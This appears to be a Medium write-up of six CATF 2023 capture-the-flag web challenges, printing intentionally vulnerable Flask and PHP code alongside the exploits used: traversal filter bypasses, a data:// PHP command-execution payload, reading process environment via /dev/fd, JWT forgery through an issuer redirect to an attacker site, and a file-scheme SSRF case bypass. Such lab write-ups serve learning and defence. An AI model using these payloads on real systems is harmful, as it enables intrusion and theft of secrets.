CATF 2023 Web Challenges Writeup

Ahmed Atef
9 min readJul 28, 2023

BypassMe

After you download the challenge zip file and read the “app.py” file:

from flask import Flask, render_template, jsonify, request
import re, os, base64

app = Flask(__name__)

# Root endpoint
@app.route("/")
def index():
return render_template("index.html")

# Notes endpoint
@app.route("/notes", methods=["GET", "POST"])
def notes():
if request.method == "GET":
return render_template("notes.html")
elif request.method == "POST":
note = request.form.get("note")
note = note.replace("{{", "").replace("}}", "").replace("..", "")
print("note: ",note)
for include in re.findall("({{.*?}})", note):
file_name = os.path.join("notes", re.sub("[{}]", "", include))
print("filename: ",file_name)
try:
with open(file_name, "rb") as file:
note = note.replace(include, f"<img src=\"data:image/png;base64,{base64.b64encode(file.read()).decode('latin1')}\" width=\"25\" height=\"25\" />")
except FileNotFoundError:
return "Sorry, No note found by this name", 404
return note
if __name__ == "__main__":
app.run(debug=False,host="0.0.0.0",port=7080)

The “/notes” endpoint with method “POST” tries to read the file you are giving it with the parameter “note”, then returns the file as “base64” encoded src image only if the path is found.

if you pass a normal text like “Flag.txt”, it will not run the “for loop” because it did not match the rule “({{.*?}})” and the server will just return the parameter value as a string.

We need the “note” value to be something like this “{{/path/content}}”… So we need to escape the “replace” function. The function replaces the curly braces before the “..” and that’s why it’s important to understand our code to exploit it… So if you pass: “{..{” it will be => “{{” and by doing the same for “}..}” and put the content in the middle… the “for loop” should be executed because now we have data to loop for.

For example: “{..{/etc/passwd}..}” will return the “passwd” file content. After reading the “Dockerfile” you will notice that the “flag.txt” is at “/” dir:

{..{/flag.txt}..}

will return:

and after decoding:

CATF{Y0U_4R3_TH3_l33t_BYPASS3R}

Remotely

By visiting the url, it will show you an index page with two links:

The links are using the same parameter but with different values: “index” and “contact”. each value shows a different content. So wrapping up: it’s an “LFI” vulnerability.

Local File Inclusion is an attack technique in which attackers trick a web application into either running or exposing files on a web server.

After testing some payloads, no errors was returned, and that what made this challenge a little tricky, so i decided to try the “data://” wrapper hoping it will debug somthing because “null bytes” didn’t also work for me.

Using this payload: “data:///text, <?php system(ls); ?>” finally returned an output. This happened because the rest of the concatenation after the closing tags will be treated as a text and not as a file extension., so i tried to read all the files contents in this directory with:

?mosaa=data:///text, <?php system('cat *'); ?>

Read

The source code was given in this challenge:

from flask import Flask,request
import os

flag = os.environ.get('flag')

app = Flask(__name__)

@app.route('/')
def hello_world():
return 'Hello, World!'

blocked=["proc","self"]

@app.route('/readfile')
def readfile():
if request.args.get('file'):
file=request.args.get('file').encode('utf-8')
if any([b in file.decode("utf-8") for b in blocked]) :
return "Blocked, why not try to read note.txt?"
try:
content=open(os.path.join("safe/",file.decode('utf-8'))).read()
return content
except:
return "An error occured"

else:
return "please enter ?file"

if __name__ == '__main__':
app.run(host='0.0.0.0')

The “/readfile” is the interesting part.

NOTE: The “safe/” folder is not important btw as the flag is at the environment.

while all we have is reading files… we need to read this environment.

“/proc/self/environ” contains the environment of the process.

but how can we access this path without using the blocked words: [“proc”,”self”].

in unix system we can get an equalevent for some paths with “/dev/fd”:

Newer systems provide a directory named /dev/fd whose entries are files named 0,1, 2, and so on. Opening the file /dev/fd/n is equivalent to duplicating descriptor n (assuming that descriptor n is open).

So basically if you typed: “ls -lah /dev/fd/../” is same as “ls -lah /proc/self/”.

/readfile?file=/dev/fd/../environ

Legacy Developer

The challegne source code files:

and some content of “main.py”:

with open("private.pem", "r") as f:
private_key = f.read()
app.config["PRIVATE_KEY"] = private_key
app.config["flag"] = os.getenv("FLAG")

def token_required(f):
@wraps(f)
def decorator(*args, **kwargs):
token = None
if 'x-access-tokens' in request.headers:
token = request.headers['x-access-tokens']
if not token:
return jsonify({'message': 'a valid token is missing'})
try:
unverified_header = jwt.get_unverified_header(token)
if 'iss' not in unverified_header:
return jsonify({'message': 'Issuer not specified'}), 401
iss = unverified_header['iss']
if not iss.startswith('/api/secrets/publickey'):
return jsonify({'message': 'Invalid issuer'}), 401
public_key_url = "http://localhost:5000" + iss
response = requests.get(public_key_url)
if response.status_code != 200:
return jsonify({'message': 'Unable to fetch public key'}), 401
public_key = response.text
data = jwt.decode(token, public_key, algorithms=["RS256"])
current_user = User.query.filter_by(id=data['id']).first()
except Exception as e:
return jsonify({'message': f'token is invalid: {str(e)}'}), 401
return f(current_user, *args, **kwargs)
return decorator

@app.route('/register', methods=['GET', 'POST'])
def signup_user():
if request.method == 'POST':
data = request.get_json()
hashed_password = generate_password_hash(data['password'], method='sha256')
new_user = User(name=data['name'], password=hashed_password, admin=False)
db.session.add(new_user)
db.session.commit()
return jsonify({'message': 'registered successfully'})
return render_template('register.html')

@app.route('/login', methods=['GET', 'POST'])
def login_user():
if request.method == 'POST':
auth = request.get_json()
if not auth or not auth.get('name') or not auth.get('password'):
return make_response('could not verify', 401, {'WWW.Authentication': 'Basic realm: "login required"'})
user = User.query.filter_by(name=auth.get('name')).first()
if user and check_password_hash(user.password, auth.get('password')):
token = jwt.encode({'id': user.id, 'exp' : datetime.datetime.utcnow() + datetime.timedelta(minutes=90), 'iss': keypath}, app.config['PRIVATE_KEY'], algorithm="RS256")
return jsonify({'token' : token})
return make_response('could not verify', 401, {'WWW.Authentication': 'Basic realm: "login required"'})
return render_template('login.html')

@app.route('/api/secrets/publickey', methods=['GET'])
def get_public_key():
with open('public_key.pem', 'r') as f:
public_key = f.read()
return Response(public_key, mimetype='text/plain')

@app.route('/logout')
def logout_user():
redirect_url = request.args.get('r', '/')
return redirect(redirect_url, code=302)

@app.route('/flag')
@token_required
def get_flag(current_user):
if current_user.admin:
return jsonify({'flag' : f'{app.config["flag"]}'})
else:
return jsonify({'message' : 'Access denied'})

By reading “token_required” function: and after register and log in you will notice your “JWT” token in the login response output.

if you try to get the flag with this token with header ”x-access-tokens” you should get “Access denied” since you are not an admin. If you remember that you have the “private” and “public” keys with the source files… and by them you can sign “JWT” tokens just like the server.

so by submitting the “JWT” token that you got from the server and modifying it with “id: 1" and adding the “iss” to the payload header, then signing it with the keys:

now sending this “JWT” token to the server:

Legacy Developer Revenge

This time the challenge source code is the same but the keys are missing and changed for sure. but the “token_required” function is still exploitable:

def token_required(f):
@wraps(f)
def decorator(*args, **kwargs):
token = None
if 'x-access-tokens' in request.headers:
token = request.headers['x-access-tokens']
if not token:
return jsonify({'message': 'a valid token is missing'})
try:
unverified_header = jwt.get_unverified_header(token)
if 'iss' not in unverified_header:
return jsonify({'message': 'Issuer not specified'}), 401
iss = unverified_header['iss']
if not iss.startswith('/api/secrets/publickey'):
return jsonify({'message': 'Invalid issuer'}), 401
public_key_url = "http://localhost:5000" + iss
response = requests.get(public_key_url)
if response.status_code != 200:
return jsonify({'message': 'Unable to fetch public key'}), 401
public_key = response.text
data = jwt.decode(token, public_key, algorithms=["RS256"])
current_user = User.query.filter_by(id=data['id']).first()
except Exception as e:
return jsonify({'message': f'token is invalid: {str(e)}'}), 401
return f(current_user, *args, **kwargs)
return decorator

You can see that the server is requesting the publickey from “http://localhost:5000/api/secrets/publickey” and verifying the token with it. The most important thing that helped me in the exploit is that we are free to fool the server with unverified data before the decoding

You can modify the “iss” value to be any path so the server can get the “public key” from.

I tried to inject the value to be: “/../../../@mywebsite” to redirect the request to my website like: “127.0.0.1@mywebsite” but it didn’t work as there will be an extra slash and “@mywebsite” will be treated as a path for the local server.
To solve this you can notice that the logout function has “r” parameter and it can redirect it for you :)

@app.route('/logout')
def logout_user():
redirect_url = request.args.get('r', '/')
return redirect(redirect_url, code=302)

so to exploit that… the “iss” value in the payload header will be:

"iss": "/api/secrets/publickey/../../../logout?r=mywebsite"

final step is to make our website response same as the “/api/secrets/publickey” response except we will use our custom “public key”.

mywebsite outpput

with that we can use our private and public keys to sign “JWT” tokens again and no need to get the ones at the server. When the server tries to verify the token with our injected public key… it will be valid.

and again we can set the “id: 1” and we can bypass and get the flag.

Curly

<?php
function send($link)
{
$curl_handle=curl_init();
curl_setopt($curl_handle,CURLOPT_URL,$link);
curl_setopt($curl_handle,CURLOPT_CONNECTTIMEOUT,2);
curl_setopt($curl_handle,CURLOPT_RETURNTRANSFER,1);
$buffer = curl_exec($curl_handle);
curl_close($curl_handle);

if (empty($buffer))
{
return "Nothing returned from url.<p>";
}

else
{
return $buffer;
}
}

if (!empty($_GET['url']))
{
$url=$_GET['url'];

if(preg_match('/^http/',$url) || !preg_match('/file/',$url))
{
echo send($url);
}
else
{
die("Don't Hack Me Plzzz");
}
}
?>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
</head>
<body>
Hello
</body>
</html>

The “flag.txt” is it “/” main dir. You can set the parameter “url” to any link and the server will visit it and return the output.

we can use “file:///” scheme to read the local files but as we can see the restriction for the word “file”, we can bypass this by changing some letters to capital and it will pass, and the request will sent.

?url=FIle:///flag.txt

500

Challenge Description: once u find it u will find ur gift at Flag.txt

Once you open the challenge you can see a normal home page with some navbar and contact link, if you click it you will go to “contact.php” page.

So you only have the contact page and index page… no other routes, no “robots.txt”, “sitemap.xml”, no “flag.txt” and no bruteforce is allowed… etc. So let’s focus on “contact.php” page.

contact.php

after sending the request, you get a message like we will contact you and with some random ticket id.

and this message is irrelevant with the solve

so after searching and testing, i tried to inject the parameters with some “SQL” and “RCE” payloads or inject the image… etc, nothing worked except i got this message when i sent too much data length:

The pattern of the validation is interesting, 50, 100, 200, then what?

Right! 500. The name of the challenge… i tried to upload an image over 500KB maybe to crash the memory of the server and reveal something or get an extra info or warning, but no…

After trying again with the length of the “filename”:

i found the “Sup3r_S3cret_H1dd3n” dir.

The dir is “403” Forbidden to access or view anything even your uploaded files, so remove the “RCE” idea from your mind. huh

If you read the challenge description again: “once u find it u will find ur gift at Flag.txt”.

so accessing “Sup3r_S3cret_H1dd3n/Flag.txt” will give you:

Sign up to discover human stories that deepen your understanding of the world.

Ahmed Atef
Ahmed Atef

Written by Ahmed Atef

Full-Stack Web Developer && CTF Player

No responses yet

Write a response